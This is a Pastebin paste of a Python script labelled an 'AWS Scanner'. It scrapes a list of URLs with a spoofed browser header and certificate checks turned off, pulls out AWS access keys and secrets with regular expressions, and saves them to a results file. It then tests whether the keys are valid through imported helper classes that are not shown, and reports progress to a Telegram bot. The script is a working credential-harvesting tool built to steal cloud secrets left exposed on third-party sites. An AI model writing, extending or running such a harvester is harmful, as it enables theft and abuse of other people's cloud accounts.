Advertisement
JamesBops

Untitled

Jun 20th, 2024
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.46 KB | None | 0 0
  1. from config.configuration import Github
  2. import sys
  3. import time
  4. from datetime import datetime
  5. from bs4 import BeautifulSoup
  6. import re
  7. import requests
  8. import os
  9. from lib.Client import Client
  10. from lib.Telegram import TelegramBot
  11. from lib.Rotate import RotateKey
  12.  
  13.  
  14. def setup():
  15. print('''
  16. L0lz
  17. ''')
  18. if not os.path.isdir('results'):
  19. os.mkdir('results')
  20.  
  21. res = ["keys.txt", "active_keys.txt", "limits.txt"]
  22. for p in res:
  23. if not os.path.isfile('results/' + p):
  24. open('results/'+p, 'w').close()
  25.  
  26. class Main(Client, RotateKey):
  27.  
  28. def __init__(self) -> None:
  29. self.botmsg = TelegramBot()
  30.  
  31. def extract_key(self, content: str, url: str):
  32. self.print_format('Extracting key from: ' + url)
  33. global botmsg
  34. try:
  35. aws_key = re.findall(
  36. r'[\s\#\$\&\(\)\-\_\:\?\'\"\=\>\<\n\;].?(AKIA[A-Z0-9]{16})[\s\#\$\&\(\)\-\_\:\?\'\"\=\>\<\n\;]?', content)
  37. aws_secret = re.findall(
  38. r'[\s\#\$\&\(\)\-\_\:\?\'\"\=\>\<\n\;].?([\w\/\-\+]{40})[\s\#\$\&\(\)\-\_\:\?\'\"\=\>\<\n\;]?', content)
  39. if len(aws_key) > 0 and len(aws_secret) > 0:
  40. for key in aws_key:
  41. if key not in open('results/keys.txt', mode='r').read():
  42. for secret in aws_secret:
  43. awskey = '{}|{}|us-east-1'.format(key, secret)
  44. self.print_format('Found Key: ' + awskey)
  45. with open('results/keys.txt', mode='a') as f:
  46. f.write(awskey + '\n')
  47. Client.__init__(self, aws_key=key, aws_secret_key=secret, aws_fullkey=awskey)
  48. Client.configure(self)
  49. RotateKey.__init__(self, Client)
  50. RotateKey.check_valid(self)
  51. #Client.set_boto3_session(self, RotateKey.get_boto3_session(self))
  52.  
  53. #Client.check_valid(self)
  54. #print(Client.get_boto3_session(self).get_credentials().access_key)
  55. #print(RotateKey.get_boto3_session(self).get_credentials().access_key)
  56. # super().__init__(aws_key=key, aws_secret_key=secret, aws_fullkey=awskey)
  57. # self.configure()
  58. # self.check_valid()
  59. else:
  60. self.print_format('Key: ' + key + ' already in database')
  61. else:
  62. self.print_format('Cant find aws key at: ' + url)
  63. except Exception as e:
  64. print(e, 'Main.extract_key')
  65.  
  66. def extract_data(self, url: str):
  67. try:
  68. resp = requests.get(url, headers={
  69. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36'}, verify=False)
  70. self.extract_key(resp.text, url)
  71. except Exception as e:
  72. print(e, 'Main.extract_data')
  73.  
  74. def print_format(self, msg: str):
  75. print('[' + datetime.now().strftime("%H:%M:%S") + '] ' + msg)
  76.  
  77. if __name__ == '__main__':
  78. setup()
  79. main = Main()
  80. main.botmsg.send_message_as_string('Starting AWS Scanner ...')
  81. list_url = open(input('Enter list url: '), mode='r').read().splitlines()
  82. for url in list_url:
  83. main.extract_data(url)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement